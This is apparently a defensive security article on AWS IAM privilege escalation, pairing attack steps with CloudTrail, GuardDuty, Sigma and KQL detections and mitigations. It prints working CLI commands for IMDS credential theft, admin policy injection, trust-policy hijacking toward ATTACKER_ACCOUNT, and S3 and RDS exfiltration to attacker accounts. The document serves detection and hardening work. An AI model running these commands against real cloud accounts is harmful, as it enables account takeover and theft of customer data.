Your S3 bucket contains 3 years of customer data. The attacker who got in yesterday has read access to exactly one DynamoDB table — or so you think. Six hours later, everything is gone.

This is the AWS IAM privilege escalation story. It happens constantly, and most teams only find out when GuardDuty fires its first alert — well after the attacker has already pivoted to admin.

TL;DR

  • A low-privilege IAM credential is often enough to reach full admin — if the right permissions exist
  • The most dangerous IAM actions are iam:CreatePolicyVersion, iam:PassRole, iam:AttachUserPolicy, and iam:PutRolePolicy
  • Every step leaves CloudTrail events — detection is possible if you know what to look for
  • GuardDuty alone isn’t enough; Sigma rules + behavioral baselining catch what it misses
  • The March 2026 AWS Threat Technique Catalog update introduced new detection guidance specifically for identity-based attacks

Why This Matters

AWS IAM is the skeleton key of every cloud environment. Get the permissions wrong, and a compromised developer credential becomes a full account takeover in under an hour. Wiz Research found that 82% of organizations unknowingly give third parties access to all their cloud data — and the average cost of a cloud breach hit $4.4 million in 2025.

This article walks the full attack chain from initial credential compromise to S3 data exfiltration — and maps every technique to its CloudTrail fingerprint.


The Attack Chain at a Glance

[Compromised credential]
[Phase 1] Initial Foothold — valid IAM access keys
[Phase 2] Enumeration — what can this credential do?
[Phase 3] Privilege Escalation — low priv → AdministratorAccess
[Phase 4] Data Exfiltration — S3 mass download / replication

Each phase uses legitimate AWS API calls. The attacker never touches an exploit or vulnerability — just the AWS CLI and permissions that were misconfigured from day one.


Phase 1: Initial Foothold

The attacker needs a starting credential. In 2026, the most common sources are:

  • Leaked access keys — hardcoded in GitHub repos, CI/CD pipelines, Docker images. The GitHub secrets management crisis article covers this in detail.
  • SSRF vulnerabilities — hitting the EC2 Instance Metadata Service (IMDS) at 169.254.169.254 to steal the temporary credentials of the attached IAM role.
  • Phishing — developer clicks a malicious link, attacker harvests AWS SSO session tokens.

The attacker confirms the credential works:

Terminal window
# Who am I? What account is this?
aws sts get-caller-identity

This call returns the account ID, user ARN, and user ID. It logs to CloudTrail as GetCallerIdentity — a benign-looking call that almost every legitimate user also makes.


Phase 2: Enumeration — Mapping the IAM Landscape

Before escalating, the attacker maps what the compromised identity can do. They need to find which IAM actions are available.

Terminal window
# List policies attached directly to this user
aws iam list-attached-user-policies --user-name <username>
# List policies attached to groups this user belongs to
aws iam list-groups-for-user --user-name <username>
# Read the actual policy document
aws iam get-policy-version --policy-arn <arn> --version-id v1

If direct enumeration is blocked, attackers use brute-force enumeration — tools like enumerate-iam or Pacu’s iam__bruteforce_permissions module call hundreds of safe read-only API endpoints and infer permissions from what succeeds vs. fails.

What this looks like in CloudTrail:

  • Burst of ListAttachedUserPolicies, GetPolicyVersion, ListRolePolicies events
  • Same source IP hammering IAM read APIs in rapid succession

Phase 3: Privilege Escalation — Five Techniques

This is where low-privilege becomes admin. Rhino Security Labs documented 21 IAM escalation paths — these are the five most common in 2026.

Technique 1: CreatePolicyVersion (Direct Admin)

Required permission: iam:CreatePolicyVersion

The attacker creates a new version of an existing policy they have access to — and makes it the default:

Terminal window
# Write a new policy version that grants full admin
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789:policy/DevPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default

The --set-as-default flag activates the new version immediately — and critically, it does not require the separate iam:SetDefaultPolicyVersion permission. The attacker now has Action: * on Resource: *.

CloudTrail event: CreatePolicyVersion


Technique 2: AttachUserPolicy / AttachRolePolicy

Required permission: iam:AttachUserPolicy or iam:AttachRolePolicy

The simplest path: attach the AWS-managed AdministratorAccess policy directly to the compromised identity.

Terminal window
aws iam attach-user-policy \
--user-name <username> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess

CloudTrail event: AttachUserPolicy


Technique 3: iam:PassRole + ec2:RunInstances

Required permissions: iam:PassRole, ec2:RunInstances

Think of iam:PassRole as handing a badge to a new employee. The attacker creates an EC2 instance and assigns it a more privileged IAM role. They then connect to the instance and call the metadata service to steal the privileged role’s credentials.

Terminal window
# Launch EC2 with admin role attached
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminProfile
# From inside the instance, steal the credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

iam:PassRole is one of the most dangerous permissions in AWS. It enables escalation via Lambda, Glue, SageMaker, ECS, CodeStar, and more — any service that can execute code under a role.

CloudTrail events: PassRole, RunInstances


Technique 4: UpdateAssumeRolePolicy (Role Hijacking)

Required permission: iam:UpdateAssumeRolePolicy

Instead of creating a new role (which may trigger alerts), the attacker modifies the trust policy of an existing privileged role to trust their own account or identity.

Terminal window
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::ATTACKER_ACCOUNT:root"},"Action":"sts:AssumeRole"}]}'

The attacker then calls sts:AssumeRole from their own account. This technique is increasingly preferred because it avoids creating new IAM resources that might trigger detection rules watching for new user/role creation.

CloudTrail events: UpdateAssumeRolePolicy, AssumeRole


Technique 5: PutRolePolicy (Inline Policy Injection)

Required permission: iam:PutRolePolicy

Wiz Research calls this “one of the most powerful AWS privileges” — it lets the attacker inject an inline policy (not a managed policy) into any role. Inline policies are sometimes missed by security tools that only scan attached managed policies.

Terminal window
aws iam put-role-policy \
--role-name TargetRole \
--policy-name BackdoorPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

CloudTrail event: PutRolePolicy


Phase 4: Data Exfiltration — Raiding S3

Now admin, the attacker targets data. S3 is the primary target because it stores everything: database backups, application data, logs, customer records.

Method 1: Mass GetObject Download

Terminal window
# Enumerate all buckets
aws s3 ls
# Download everything from a bucket
aws s3 sync s3://company-sensitive-data ./stolen/

This translates to thousands of GetObject API calls in CloudTrail — a clear anomaly when compared to the baseline of zero daily calls.

Method 2: S3 Replication to Attacker Bucket

A quieter technique: configure the target bucket to replicate all objects to an attacker-controlled bucket. Future uploads are automatically copied.

Terminal window
aws s3api put-bucket-replication \
--bucket company-sensitive-data \
--replication-configuration file://attacker-replication.json

The attacker-replication.json points to a bucket in the attacker’s AWS account. Data flows silently, indefinitely.

CloudTrail event: PutBucketReplication

Method 3: RDS Snapshot Sharing

For databases, attackers create a snapshot and share it with their own account:

Terminal window
aws rds create-db-snapshot --db-instance-identifier prod-db --db-snapshot-identifier stolen-snap
aws rds modify-db-snapshot-attribute --db-snapshot-identifier stolen-snap \
--attribute-name restore --values-to-add ATTACKER_ACCOUNT_ID

CloudTrail events: CreateDBSnapshot, ModifyDBSnapshotAttribute


Detection: CloudTrail Events Table

CloudTrail EventAttack PhaseSeverity
GetCallerIdentity (from new IP/region)FootholdLow
ListAttachedUserPolicies burstEnumerationMedium
CreatePolicyVersion (set-as-default)PrivEscCritical
AttachUserPolicy / AttachRolePolicyPrivEscCritical
PutRolePolicy / PutUserPolicyPrivEscCritical
UpdateAssumeRolePolicyPrivEscHigh
PassRole + RunInstancesPrivEscHigh
CreateAccessKey on other usersPersistenceHigh
GetObject volume anomalyExfiltrationCritical
PutBucketReplicationExfiltrationHigh
CreateDBSnapshot + ModifyDBSnapshotAttributeExfiltrationHigh
DeleteTrail / UpdateTrailDefense EvasionCritical

Detection: GuardDuty Findings

AWS GuardDuty (IAM threat intelligence + ML-based anomaly detection) will generate these findings during a real attack:

GuardDuty FindingTriggered By
PrivilegeEscalation:IAMUser/AdministrativePermissionsPolicy attachment escalation
Persistence:IAMUser/AnomalousBehaviorAccess key creation, user creation
Exfiltration:S3/ObjectRead.UnusualAnomalous GetObject volume
Discovery:S3/BucketEnumeration.UnusualListBuckets from new identity
Stealth:IAMUser/CloudTrailLoggingDisabledAttacker disabling trail
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWSIMDS credential theft used outside AWS

GuardDuty limitations: It detects patterns, not every IAM event. CreatePolicyVersion won’t fire an alert by itself — only if GuardDuty’s ML decides the behavior is anomalous. Explicit Sigma rules on CloudTrail catch what GuardDuty misses.


Detection: Sigma Rules

Deploy these against your CloudTrail log stream (Wazuh, Splunk, Elastic, or any Sigma-compatible SIEM).

Rule 1 — IAM Policy Escalation:

title: AWS IAM Privilege Escalation via Policy Modification
status: stable
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: iam.amazonaws.com
eventName|contains:
- CreatePolicyVersion
- AttachUserPolicy
- AttachRolePolicy
- PutUserPolicy
- PutRolePolicy
- UpdateAssumeRolePolicy
condition: selection
falsepositives:
- Legitimate IAM admin operations (baseline and whitelist known admin ARNs)
level: high

Rule 2 — S3 Exfiltration via Replication:

title: AWS S3 Bucket Replication to External Account
status: stable
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventSource: s3.amazonaws.com
eventName: PutBucketReplication
condition: selection
falsepositives:
- Approved cross-account backup configurations
level: high

Detection: Microsoft Sentinel KQL

If you forward CloudTrail to Sentinel (via the AWS S3 connector or the April 2026 UEBA integration):

// IAM privilege escalation events — last 24 hours
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventSource == "iam.amazonaws.com"
| where EventName in (
"CreatePolicyVersion", "AttachUserPolicy", "AttachRolePolicy",
"PutUserPolicy", "PutRolePolicy", "UpdateAssumeRolePolicy",
"CreateAccessKey", "AddUserToGroup"
)
| project TimeGenerated, UserIdentityArn, EventName, SourceIpAddress, AWSRegion
| order by TimeGenerated desc
// Anomalous GetObject volume — potential S3 exfiltration
AWSCloudTrail
| where TimeGenerated > ago(1h)
| where EventSource == "s3.amazonaws.com" and EventName == "GetObject"
| summarize ObjectCount = count() by UserIdentityArn, bin(TimeGenerated, 10m)
| where ObjectCount > 500
| order by ObjectCount desc

Mitigations

ControlWhat It Stops
Permission BoundariesEven if attacker attaches AdministratorAccess, boundary limits maximum effective permissions
Service Control Policies (SCPs)Organization-wide deny on dangerous IAM actions (iam:CreatePolicyVersion, iam:PutRolePolicy) for non-admin roles
Restrict iam:PassRoleScope to specific roles only — this is the most abused privilege
IAM Access AnalyzerDetects overly permissive policies before deployment
CloudTrail + log integrityEnable log file validation; ship to separate security account the dev team can’t access
GuardDuty + S3 ProtectionCatches anomalous object reads and bucket enumeration
MFA on IAM usersStolen static keys alone aren’t enough
Prefer IAM Roles over UsersTemporary credentials rotate automatically; static access keys don’t

What You Can Do Today

  1. Audit iam:PassRole right now — run aws iam get-account-authorization-details and search for principals with PassRole on *. Every one is a potential escalation path.
  2. Enable GuardDuty S3 Protection if not already on — it’s one click in the console and free for 30 days.
  3. Check for inline policies — they’re invisible in the IAM console summary view. Run aws iam list-role-policies --role-name <role> on your top 10 roles.
  4. Create a CloudTrail alert for DeleteTrail — an attacker disabling logging is your last warning. This should page someone immediately.
  5. Deploy the Sigma rules above in your SIEM with a 30-day baseline window for false positive tuning.
  6. Run aws sts get-caller-identity from a read-only credential and see what you can enumerate — you’ll be surprised.


Sources